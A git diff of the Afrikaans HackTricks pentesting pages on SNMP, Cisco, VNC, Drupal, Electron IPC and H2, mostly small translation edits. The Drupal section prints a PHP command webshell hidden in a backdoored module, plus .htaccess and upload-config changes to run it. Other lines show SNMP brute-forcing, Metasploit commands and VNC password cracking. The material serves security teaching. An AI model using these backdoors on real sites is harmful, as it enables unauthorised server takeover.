![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
Jy kan **navigeer** deur 'n **OID-boom** vanaf die web hier: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) of **sien wat 'n OID beteken** (soos `1.3.6.1.2.1.1`) deur toegang te verkry tot [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Daar is 'n paar **bekende OIDs** soos die wat binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) verwys na MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes. En van die **OIDs wat van hierdie een hang**, kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
Daar is 'n paar **bekende OIDs** soos die wat binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) verwys na MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes. En van die **OIDs wat van hierdie een hang** kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
### **OID Voorbeeld**
@ -98,7 +98,7 @@ Daar is **2 tipes gemeenskapsstrings**:
* **`public`** hoofsaaklik **lees net** funksies
* **`private`** **Lees/Skryf** in die algemeen
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk in staat wees om **sekere waardes te skryf.** Daar **kan** ook objekte wees wat **altyd "Lees Net"** is.\
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Ook, daar **kan** voorwerpe wees wat **altyd "Lees Net"** is.\
As jy probeer om 'n objek te **skryf**, sal 'n **`noSuchName` of `readOnly` fout** ontvang word\*\*.\*\*
In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die bediener nie **reageer** nie. So, as dit reageer, is 'n **geldige gemeenskapsstring gebruik**.
@ -113,9 +113,9 @@ In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die b
## Brute-Force Gemeenskapsstring (v1 en v2c)
Om die **gemeenskapsstring te raai**, kan jy 'n woordeboekaanval uitvoer. Kyk [hier verskillende maniere om 'n brute-force aanval teen SNMP uit te voer](../../generic-methodologies-and-resources/brute-force.md#snmp). 'n Gereeld gebruikte gemeenskapsstring is `public`.
Om die **gemeenskapsstring te raai** kan jy 'n woordeboekaanval uitvoer. Kyk [hier verskillende maniere om 'n brute-force aanval teen SNMP uit te voer](../../generic-methodologies-and-resources/brute-force.md#snmp). 'n Gereeld gebruikte gemeenskapsstring is `public`.
## Enumerating SNMP
## SNMP Opname
Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken**:
```bash
@ -144,13 +144,13 @@ Dankie aan uitgebreide navrae (download-mibs), is dit moontlik om selfs meer oor
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant sal vind, is: **Netwerkinterfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse**
**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant vind, is: **Netwerkinterfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse**
**wat** (kan wagwoorde bevat)....
### **Gevaarlike Instellings**
In die domein van netwerkbestuur is sekere konfigurasies en parameters sleutel tot die versekerings van omvattende monitering en beheer.
In die wêreld van netwerkbestuur is sekere konfigurasies en parameters sleutel tot die verseker van omvattende monitering en beheer.
### Toegang Instellings
@ -167,12 +167,12 @@ Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP-adres, wat vo
'n Reeks **Bestuur Inligting Basis (MIB) waardes** word gebruik om verskeie aspekte van 'n Windows-stelsel deur SNMP te monitor:
* **Stelsel Prosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik.
* **Hardloop Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans hardloop programme.
* **Prosesse Pad**: Om te bepaal waar 'n proses van hardloop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik.
* **Berging Eenhede**: Die monitering van berging eenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
* **Sagtemak Naam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
* **Gebruikersrekening**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikersrekeninge moontlik.
* **Stelselsprosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik.
* **Lopende Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans lopende programme.
* **Prosesse Pad**: Om te bepaal waar 'n proses van loop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik.
* **Stoor Eenhede**: Die monitering van stoor eenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
* **Sagtemakenaam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
* **Gebruikersrekeninge**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikersrekeninge moontlik.
* **TCP Plaaslike Poorte**: Laastens, `1.3.6.1.2.1.6.13.1.3` is aangewys vir die monitering van TCP plaaslike poorte, wat insig bied in aktiewe netwerkverbindinge.
### Cisco
@ -193,7 +193,7 @@ As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te
## **Massiewe SNMP**
[Braa ](https://github.com/mteg/braa) is 'n massiewe SNMP skandeerder. Die beoogde gebruik van so 'n hulpmiddel is, natuurlik, om SNMP versoeke te maak maar anders as snmpwalk van net-snmp, is dit in staat om dosyne of honderde gashere gelyktydig te vra, en in 'n enkele proses. Dus, dit verbruik baie min stelselhulpbronne en doen die skandering BAIE vinnig.
[Braa ](https://github.com/mteg/braa) is 'n massiewe SNMP skandeerder. Die beoogde gebruik van so 'n hulpmiddel is, natuurlik, om SNMP versoeke te maak maar anders as snmpwalk van net-snmp, is dit in staat om dosyne of honderde gashere gelyktydig te ondervra, en in 'n enkele proses. Dus, dit verbruik baie min stelselhulpbronne en doen die skandering BAIE vinnig.
Braa implementeer sy EIE snmp-stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie.
@ -243,9 +243,9 @@ As daar 'n ACL is wat slegs sekere IP's toelaat om die SNMP-diens te vra, kan jy
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiende Pools skriftelik en geselskaplik vereis_).
As jy belangstel in 'n **hacking career** en die onhackable te hack - **ons huur aan!** (_vloeiende Pools skriftelik en geselskaplik vereis_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,23 +15,23 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
## Pentesting Cisco Netwerke
## Pentesting Cisco Networks
**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol staat op gemeenskapsstringe, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie stringe is van kardinale belang omdat hulle toegangsvlakke bepaal, spesifiek **slegs lees (RO) of lees-skrif (RW) regte**. 'n Opmerkelijke aanvalsvlak vir pentesters is die **brute-forcing van gemeenskapsstringe**, met die doel om netwerktoestelle binne te dring.
'n Praktiese hulpmiddel om sulke brute-force aanvalle uit te voer is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskapsstringe en die IP-adresse van die teikens benodig:
'n Praktiese hulpmiddel om sulke brute-force aanvalle uit te voer is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskapsstringe en die IP-adresse van die teikens vereis:
```bash
onesixtyone -c communitystrings -i targets
```
#### `cisco_config_tftp`
Die Metasploit-raamwerk bevat die `cisco_config_tftp` module, wat die ekstraksie van toestelkonfigurasies vergemaklik, afhangende van die verkryging van 'n RW gemeenskaplike string. Belangrike parameters vir hierdie operasie sluit in:
Die Metasploit-raamwerk bevat die `cisco_config_tftp` module, wat die ekstraksie van toestelkonfigurasies fasiliteer, afhangende van die verkryging van 'n RW gemeenskaplike string. Essensiële parameters vir hierdie operasie sluit in:
* RW gemeenskaplike string (**COMMUNITY**)
* Aanvaller se IP (**LHOST**)
@ -42,7 +42,7 @@ Na konfigurasie, stel hierdie module die aflaai van toestelinstellings direk na
#### `snmp_enum`
Nog 'n Metasploit-module, **`snmp_enum`**, spesialiseer in die insameling van gedetailleerde hardeware-inligting. Dit werk met enige tipe gemeenskaplike string en vereis die teiken se IP-adres vir suksesvolle uitvoering:
Nog 'n Metasploit module, **`snmp_enum`**, spesialiseer in die insameling van gedetailleerde hardeware-inligting. Dit werk met enige tipe gemeenskaplike string en vereis die teiken se IP-adres vir suksesvolle uitvoering:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -1,8 +1,8 @@
# 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiende Pools geskryf en gesproke vereis_).
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend in geskryf en gesproke Pools vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -51,7 +51,7 @@ make
vncpwd <vnc password file>
```
You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\
For **Windows** you can also use this tool: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Vir **Windows** kan jy ook hierdie hulpmiddel gebruik: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Ek stoor die hulpmiddel hier ook vir maklike toegang:
{% file src="../.gitbook/assets/vncpwd.zip" %}
@ -60,15 +60,15 @@ Ek stoor die hulpmiddel hier ook vir maklike toegang:
* `port:5900 RFB`
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -21,7 +21,7 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
In ouer weergawes van Drupal **(voor weergawe 8)**, was dit moontlik om as 'n admin aan te meld en **die `PHP filter` module te aktiveer**, wat "Ingebedde PHP kode/snippets toelaat om geëvalueer te word." Maar vanaf weergawe 8 is hierdie module nie standaard geïnstalleer nie.
{% endhint %}
Jy moet die **plugin php geïnstalleer hê** (kyk dit deur toegang te verkry tot _/modules/php_ en as dit 'n **403** teruggee, dan **bestaan dit**, as **nie gevind nie**, dan is die **plugin php nie geïnstalleer nie**)
Jy moet die **plugin php geïnstalleer hê** (kontroleer dit deur toegang te verkry tot _/modules/php_ en as dit 'n **403** teruggee, dan **bestaan dit**, as **nie gevind nie**, dan is die **plugin php nie geïnstalleer nie**)
Gaan na _Modules_ -> (**Kontroleer**) _PHP Filter_ -> _Stoor konfigurasie_
@ -55,7 +55,7 @@ Vanaf weergawe **8 en later, is die** [**PHP Filter**](https://www.drupal.org/pr
In huidige weergawes is dit nie meer moontlik om plugins te installeer deur slegs toegang tot die web te hê na die standaardinstallasie nie.
{% endhint %}
'n Backdoored module kan geskep word deur **'n shell by 'n bestaande module te voeg**. Modules kan op die drupal.org-webwerf gevind word. Kom ons kies 'n module soos [CAPTCHA](https://www.drupal.org/project/captcha). Scroll af en kopieer die skakel vir die tar.gz [argief](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
'n Backdoored module kan geskep word deur **'n shell aan 'n bestaande module toe te voeg**. Modules kan op die drupal.org-webwerf gevind word. Kom ons kies 'n module soos [CAPTCHA](https://www.drupal.org/project/captcha). Scroll af en kopieer die skakel vir die tar.gz [argief](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
* Laai die argief af en onttrek die inhoud.
```
@ -68,7 +68,7 @@ tar xvf captcha-8.x-1.2.tar.gz
system($_GET["cmd"]);
?>
```
* Volgende, moet ons 'n **`.htaccess`** lêer skep om vir onsself toegang tot die gids te gee. Dit is nodig aangesien Drupal direkte toegang tot die **`/modules`** gids ontken.
* Volgende, moet ons 'n **`.htaccess`** lêer skep om vir onsself toegang tot die gids te gee. Dit is nodig aangesien Drupal direkte toegang tot die **`/modules`** gids weier.
```html
<IfModule mod_rewrite.c>
RewriteEngine On
@ -80,7 +80,7 @@ RewriteBase /
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Aangesien ons **administratiewe toegang** tot die webwerf het, klik op **`Bestuur`** en dan **`Verleng`** in die sybalk. Klik dan op die **`+ Installeer nuwe module`** knoppie, en ons sal na die installasiebladsy geneem word, soos `http://drupal-site.local/admin/modules/install`. Blaai na die backdoored Captcha-argief en klik op **`Installeer`**.
* Aangesien ons **administratiewe toegang** tot die webwerf het, klik op **`Manage`** en dan **`Extend`** in die sybalk. Klik dan op die **`+ Install new module`** knoppie, en ons sal na die installasiebladsy geneem word, soos `http://drupal-site.local/admin/modules/install`. Blaai na die backdoored Captcha-argief en klik op **`Install`**.
* Sodra die installasie suksesvol is, blaai na **`/modules/captcha/shell.php`** om opdragte uit te voer.
## Backdooring Drupal met Konfigurasiesinkronisasie <a href="#backdooring-drupal" id="backdooring-drupal"></a>
@ -89,17 +89,17 @@ tar cvf captcha.tar.gz captcha/
### Deel 1 (aktivering van _Media_ en _Media Biblioteek_)
In die _Verleng_ menu (/admin/modules), kan jy aktiveer wat blyk reeds geïnstalleerde plugins te wees. Standaard, blyk plugins _Media_ en _Media Biblioteek_ nie geaktiveer te wees nie, so kom ons aktiveer hulle.
In die _Extend_ menu (/admin/modules), kan jy aktiveer wat blyk reeds geïnstalleerde plugins te wees. Standaard, blyk die plugins _Media_ en _Media Biblioteek_ nie geaktiveer te wees nie, so kom ons aktiveer hulle.
Voor aktivering:
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Na aktivering:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Deel 2 (benutting van funksie _Konfigurasiesinkronisasie_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
@ -112,7 +112,7 @@ Ons sal die _Konfigurasiesinkronisasie_ funksie benut om Drupal konfigurasie-inv
Kom ons begin deur die eerste invoer `allow_insecure_uploads` te patch vanaf:
Lêer: system.file.yml
File: system.file.yml
```
...
@ -122,7 +122,7 @@ allow_insecure_uploads: false
...
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Na:
@ -136,7 +136,7 @@ allow_insecure_uploads: true
...
```
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field\_media\_document.yml**
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
...
```
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Na:
@ -168,13 +168,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
```
> Ek gebruik dit nie in hierdie blogpos nie, maar dit word opgemerk dat dit moontlik is om die invoer `file_directory` op 'n arbitrêre manier te definieer en dat dit kwesbaar is vir 'n pad traversaal aanval (so ons kan teruggaan binne die Drupal lêerstelsel boom).
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Deel 3 (benutting van funksie _Voeg Dokument by_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
Die laaste stap is die eenvoudigste, en is opgebroke in twee sub-stappe. Die eerste is om 'n lêer in .htaccess formaat op te laai om die Apache riglyne te benut en .txt lêers toe te laat om deur die PHP enjin geïnterpreteer te word. Die tweede is om 'n .txt lêer op te laai wat ons payload bevat.
Lêer: .htaccess
File: .htaccess
```
<Files *>
SetHandler application/x-httpd-php
@ -194,13 +194,13 @@ php_flag engine on
```
Waarom is hierdie truuk cool?
Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaat word, ons ons opdragte via `$_COOKIE` kan oordra en in die Webbediener logs, sal dit as 'n legitieme GET-versoek na 'n tekslêer verskyn.
Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaai word, ons ons opdragte via `$_COOKIE` kan oordra en in die Webbediener logs, sal dit as 'n legitieme GET-versoek na 'n tekslêer verskyn.
Waarom noem ons ons Webshell LICENSE.txt?
Eenvoudig omdat as ons die volgende lêer neem, byvoorbeeld [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (wat reeds in die Drupal-kern teenwoordig is), ons 'n lêer van 339 lyne en 17.6 KB in grootte het, wat perfek is om 'n klein snit van PHP-kode in die middel by te voeg (aangesien die lêer groot genoeg is).
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Lêer: Gepatchte LICENSE.txt
```txt
@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author
Eerstens, benut ons die _Voeg Dokument_ (/media/add/document) funksie om ons lêer wat die Apache riglyne bevat (.htaccess) op te laai.
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Deel 3.2 (laai lêer LICENSE.txt op)**
@ -279,7 +279,7 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -23,7 +23,7 @@ As die preload skrip 'n IPC eindpunt van die main.js lêer blootstel, sal die re
Voorbeeld van [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (jy het die volle voorbeeld van hoe MS Teams XSS tot RCE misbruik het in daardie skyfies, dit is net 'n baie basiese voorbeeld):
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Voorbeeld 1
@ -95,7 +95,7 @@ shell.openExternal(url);
```
## Voorbeeld 3
As die preload-skrip maniere blootstel om heeltemal met die hoofproses te kommunikeer, sal 'n XSS in staat wees om enige gebeurtenis te stuur. Die impak hiervan hang af van wat die hoofproses blootstel in terme van IPC.
As die preload-skrip maniere blootstel om volledig met die hoofproses te kommunikeer, sal 'n XSS in staat wees om enige gebeurtenis te stuur. Die impak hiervan hang af van wat die hoofproses blootstel in terme van IPC.
```javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);

View file

@ -1,8 +1,8 @@
# H2 - Java SQL-databasis
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -10,13 +10,11 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Amptelike bladsy: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
@ -27,7 +25,7 @@ Jy kan 'n **nie-bestaande naam van databasis** aandui om 'n **nuwe databasis son
![](<../../.gitbook/assets/image (131).png>)
Of as jy weet dat 'n **mysql aan die gang is** en jy die **databasisnaam** en die **akrediteer** vir daardie databasis ken, kan jy dit net toegang:
Of as jy weet dat 'n **mysql loop** en jy die **databasisnaam** en die **akrediteer** vir daardie databasis ken, kan jy dit net toegang:
![](<../../.gitbook/assets/image (201).png>)
@ -50,13 +48,11 @@ In [**hierdie pos**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
},
[...]
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
